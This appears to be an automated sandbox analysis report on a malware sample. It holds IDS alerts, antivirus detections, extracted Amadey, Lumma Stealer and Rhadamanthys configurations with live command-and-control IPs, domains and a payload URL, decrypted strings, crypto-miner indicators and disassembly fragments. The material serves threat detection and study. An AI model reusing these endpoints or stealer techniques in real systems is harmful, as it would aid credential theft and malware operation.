2024-12-18T11:09:30.798177+0100	2028371	3	Unknown Traffic	192.168.2.6	49929	104.21.23.76	443	TCP
2024-12-18T11:09:42.876304+0100	2028371	3	Unknown Traffic	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:46.023928+0100	2028371	3	Unknown Traffic	192.168.2.6	49971	104.21.23.76	443	TCP
2024-12-18T11:09:50.491708+0100	2028371	3	Unknown Traffic	192.168.2.6	49980	172.67.179.109	443	TCP
2024-12-18T11:09:58.015741+0100	2028371	3	Unknown Traffic	192.168.2.6	50000	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:26.361720+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:29.578095+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49913	104.21.23.76	443	TCP
2024-12-18T11:09:41.213302+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:44.355879+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49929	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:26.361720+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:29.578095+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49913	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:41.213302+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:44.355879+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49929	104.21.23.76	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:18.796849+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:27.591453+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49919	172.67.179.109	443	TCP
2024-12-18T11:09:42.876304+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:50.491708+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49980	172.67.179.109	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:17.000758+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49888	185.215.113.43	80	TCP
2024-12-18T11:09:23.641530+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49907	185.215.113.43	80	TCP
2024-12-18T11:09:37.782805+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49940	185.215.113.43	80	TCP
2024-12-18T11:09:52.583400+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49985	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:17.256337+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	54533	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:17.031543+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	52014	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:49.115738+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49959	172.67.179.109	443	TCP
2024-12-18T11:09:56.629562+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49971	104.21.23.76	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:07.023758+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49862	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:15.670084+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49871	TCP
2024-12-18T11:09:51.248301+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49961	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:11.447771+0100	2803305	3	Unknown Traffic	192.168.2.6	49877	31.41.244.11	80	TCP
2024-12-18T11:09:18.448636+0100	2803305	3	Unknown Traffic	192.168.2.6	49894	31.41.244.11	80	TCP
2024-12-18T11:09:25.083891+0100	2803305	3	Unknown Traffic	192.168.2.6	49912	31.41.244.11	80	TCP
2024-12-18T11:09:45.288765+0100	2803305	3	Unknown Traffic	192.168.2.6	49966	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php871001	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/dodo/random.exe	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802

Found malware configuration

Source: 00000006.00000003.2820833506.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000002A.00000003.3304162838.00000000057A8000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}
Source: 13.2.850609077b.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat", "aspecteirs.lat", "grannyejh.lat", "pancakedipyps.click"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 52%
Source: file.exe	Virustotal: Detection: 56%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--6989783370

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00416124 CryptUnprotectData,		10_2_00416124
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D9123B CryptContextAddRef,		10_2_00D9123B

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.3209344034.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3209344034.000000000120C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3210399876.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3209344034.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1048, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:50000 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 1459165c97.exe, 0000002A.00000003.3316733484.0000000005F50000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316638415.0000000005E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 1459165c97.exe, 0000002A.00000003.3315847424.0000000006020000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3315660818.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319193726.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319970257.00000000055C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316144032.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316322619.0000000005FD0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3321405527.0000000005570000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3320430105.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3315847424.0000000006020000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3315660818.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319193726.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319970257.00000000055C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 1459165c97.exe, 0000002A.00000003.3316144032.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316322619.0000000005FD0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3321405527.0000000005570000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3320430105.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316733484.0000000005F50000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316638415.0000000005E30000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DA36A9 FindFirstFileExW,	8_2_00DA36A9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DA375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00DA375A
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00DA36A9 FindFirstFileExW,	10_2_00DA36A9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00DA375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00DA375A

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00416124
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov ecx, eax	10_2_0040D2EA
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0BB14481h]	10_2_0043A742
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+edx-00000090h]	10_2_0041C84E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	10_2_00427870
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	10_2_0041703C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi]	10_2_004228D0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+esi]	10_2_00408080
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Bh]	10_2_004090A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [eax], cl	10_2_004090A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, eax	10_2_0043C0A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_00433140
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edx], cl	10_2_0041A951
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-02262853h]	10_2_0043D150
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, ecx	10_2_004291C3
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_004161FA
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	10_2_0043C980
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	10_2_00417984
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, eax	10_2_0043C1A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, eax	10_2_0043C1BB
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, eax	10_2_0043C1B9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_0040E241
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_0040E241
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+edx-00000090h]	10_2_0041C84E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-02262853h]	10_2_0043CAD0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp eax	10_2_004172AE
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edx], cl	10_2_00409350
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_0040E35C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_0040E35C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_0040E35C
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp dword ptr [00442784h]	10_2_0040B35D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx+3DAAA828h]	10_2_0040B35D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then test eax, eax	10_2_00436BA0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+6DBD87B7h]	10_2_00436BA0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00421440
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+28h]	10_2_00407450
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	10_2_00407450
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [esi], al	10_2_0041AC69
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00421C00
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-05607F74h]	10_2_0042CC0E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov ecx, eax	10_2_0040D417
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov ecx, eax	10_2_00414486
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx+6DBD87A7h]	10_2_00414486
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edi, 00000001h	10_2_00414486
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000084h]	10_2_00415D31
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx-41h]	10_2_00415D31
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then xor ebx, ebx	10_2_00415D31
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_004295E0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00413DE2
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	10_2_00413DE2
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-02262853h]	10_2_0043CDF0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov ecx, eax	10_2_004235A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	10_2_004235A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edi, dword ptr [esp+2Ch]	10_2_004235A0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then lea edx, dword ptr [eax-30h]	10_2_0042B641
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, dword ptr [esi+1Ch]	10_2_0042B641
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E5FE86B7h	10_2_00421E5D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp edx	10_2_00421E5D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-05607F74h]	10_2_0042C661
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx-41h]	10_2_00415E22
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [ebx], al	10_2_0042BED5
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-05607F74h]	10_2_0042C69E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp eax	10_2_0042669F
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-05607F74h]	10_2_0042C6B0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	10_2_00438EB0
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_0042AF44
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	10_2_0042C748
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp eax	10_2_00426751
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov edx, ecx	10_2_00428F6F
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	10_2_00402F00
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov esi, dword ptr [esp+38h]	10_2_00427F39
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0BB14481h]	10_2_0043A7E9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_0042AFFD
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then jmp eax	10_2_00418782
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_0042AFB4

Networking

Suricata IDS alerts for network traffic

